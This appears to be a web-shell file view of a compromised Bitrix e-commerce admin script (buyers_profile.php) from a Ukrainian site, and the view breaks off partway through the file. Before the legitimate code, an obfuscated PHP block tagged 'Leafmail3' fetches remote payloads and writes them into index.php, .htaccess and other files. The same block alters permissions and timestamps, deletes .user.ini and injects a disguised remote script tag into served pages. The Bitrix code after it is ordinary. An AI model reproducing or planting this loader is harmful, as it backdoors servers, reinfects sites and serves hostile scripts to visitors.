Your IP : 18.226.214.95


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/sale/admin/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/sale/admin/buyers_profile.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Loader;
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
Loader::includeModule('sale');
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/sale/prolog.php");

IncludeModuleLangFile(__FILE__);
ClearVars("u_");

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");

$arStatusList = False;
$arFilter = array("LID" => LANG, "ID" => "N");
$arGroupByTmpSt = false;
if ($saleModulePermissions < "W")
{
	$arFilter["GROUP_ID"] = $GLOBALS["USER"]->GetUserGroupArray();
	$arFilter["PERM_UPDATE"] = "Y";
	$arGroupByTmpSt = array("ID", "NAME", "MAX" => "PERM_UPDATE");
}
$dbStatusList = CSaleStatus::GetList(
		array(),
		$arFilter,
		$arGroupByTmpSt,
		false,
		array("ID", "NAME")
		);
$arStatusList = $dbStatusList->Fetch();

$saleModulePermissions = $APPLICATION->GetGroupRight("sale");
if ($saleModulePermissions == "D" OR ($saleModulePermissions < "W" AND $arStatusList["PERM_UPDATE"] != "Y"))
	$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

if(!CBXFeatures::IsFeatureEnabled('SaleAccounts'))
{
	require($DOCUMENT_ROOT."/bitrix/modules/main/include/prolog_admin_after.php");

	ShowError(GetMessage("SALE_FEATURE_NOT_ALLOW"));

	require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
	die();
}

$ID = IntVal($_GET["USER_ID"]);

$catalogSubscribeEnabled = false;
if(Bitrix\Main\Loader::includeModule("catalog"))
	$catalogSubscribeEnabled = class_exists('\Bitrix\Catalog\SubscribeTable');

//reorder
if(isset($_REQUEST["reorder"]) && IntVal($_REQUEST["reorder"]) > 0)
{
	$ORDER_ID = IntVal($_REQUEST["reorder"]);
	$lid = trim($_REQUEST["lid"]);
	$arID = array();
	$urlProduct = "";

	$dbBasketList = \Bitrix\Sale\Internals\BasketTable::getList(array(
		'order' => array("PRODUCT_ID" => "ASC"),
		'filter' => array(
			"LID" => $lid,
			"ORDER_ID" => $ORDER_ID,
			"SET_PARENT_ID" => false
		),
		'select' => array('PRODUCT_ID', 'ID', 'QUANTITY')
	));

	while ($arBasket = $dbBasketList->fetch())
		$urlProduct .= "&product[".$arBasket["PRODUCT_ID"]."]=".$arBasket["QUANTITY"];

	LocalRedirect("/bitrix/admin/sale_order_create.php?USER_ID=".CUtil::JSEscape($ID)."&lang=".LANG."&SITE_ID=".CUtil::JSEscape($lid).CUtil::JSEscape($urlProduct));
}

//USER INFO
$userFIO = "";
$dbUser = CUser::GetByID($ID);
if($arUser = $dbUser->ExtractFields("u_"))
{
	if (strval(trim($u_LAST_NAME)) != '')
	{
		$userFIO .= (strval($userFIO) != '' ? " " : "") . $u_LAST_NAME;
	}
	if (strval(trim($u_NAME)) != '')
	{
		$userFIO .= (strval($userFIO) != '' ? " " : "") . $u_NAME;
	}

	if (strval(trim($u_SECOND_NAME)) != '')
	{
		$userFIO .= (strval($userFIO) != '' ? " " : "") . $u_SECOND_NAME;
	}
}

$userAdres = "";
$strUserGroup = "";
if(!empty($arUser))
{
	//user group
	$arUserGroups = CUser::GetUserGroup($ID);
	$dbGroups = CGroup::GetList(($b = "c_sort"), ($o = "asc"), array("ANONYMOUS" => "N"));
	while ($arGroups = $dbGroups->Fetch())
	{
		if (in_array($arGroups["ID"], $arUserGroups))
			$strUserGroup .= htmlspecialcharsbx($arGroups["NAME"])."<br>";
	}

	//user adres
	if (strlen($u_PERSONAL_STATE) > 0)
		$userAdres .= $u_PERSONAL_STATE;
	if (strlen($u_PERSONAL_CITY) > 0)
	{
		if (strlen($userAdres) > 0)
			$userAdres .= ", ";
		$userAdres .= $u_PERSONAL_CITY;
	}
	if (strlen($u_PERSONAL_STREET) > 0)
	{
		if (strlen($userAdres) > 0)
			$userAdres .= ", ";
		$userAdres .= $u_PERSONAL_STREET;
	}

	//ALL SITES
	$arSites = array();
	$rsSites = CSite::GetList($oby="id", $oorder="asc", array());
	while ($arSite = $rsSites->Fetch())
		$arSites[$arSite["ID"]] = $arSite;
}


$viewedMessage = '';
$basketMessage = '';
$viewedError = '';
$basketError = '';

//ACTIONS
//viewed
if (isset($_REQUEST['action']) && $_REQUEST['action'] == 'viewed_apply' && IntVal($_REQUEST["viewed_id"]) > 0 && strlen($_REQUEST["viewed_lid"]) > 0 && $saleModulePermissions >= "W")
{
	$PRODUCT_ID = IntVal($_REQUEST["viewed_id"]);
	$LID = trim($_REQUEST["viewed_lid"]);

	if (CModule::IncludeModule("catalog"))
	{
		/** @var $productProvider IBXSaleProductProvider */
		if ($productProvider = CSaleBasket::GetProductProvider(array("MODULE" => "catalog", "PRODUCT_PROVIDER_CLASS" => "CCatalogProductProvider")))
		{
			$arViews = $productProvider::GetProductData(array(
				"PRODUCT_ID" => $PRODUCT_ID,
				"QUANTITY"   => 1,
				"RENEWAL"    => "N",
				"SITE_ID"    => $LID
			));
		}
		else
		{
			$arViews = CSaleBasket::ExecuteCallbackFunction(
				'CatalogBasketCallback',
				'catalog',
				$PRODUCT_ID,
				1,
				$LID
			);
		}

		if (count($arViews) <= 0)
		{
			$viewedError = GetMessage('BUYER_VIEWED_ERROR_PRODUCT_FAIL');
			$viewedMessage = "";
		}
		else
		{
			$dbProduct = CIBlockElement::GetList(array(), array("ID" => $PRODUCT_ID), false, false, array('ID', 'NAME', "XML_ID", "IBLOCK_EXTERNAL_ID"));
			$arProduct = $dbProduct->Fetch();
			$arViews['NAME'] = $arProduct["NAME"];
			$arViews['PRODUCT_ID'] = $arProduct["ID"];
			$arViews['MODULE'] = "catalog";
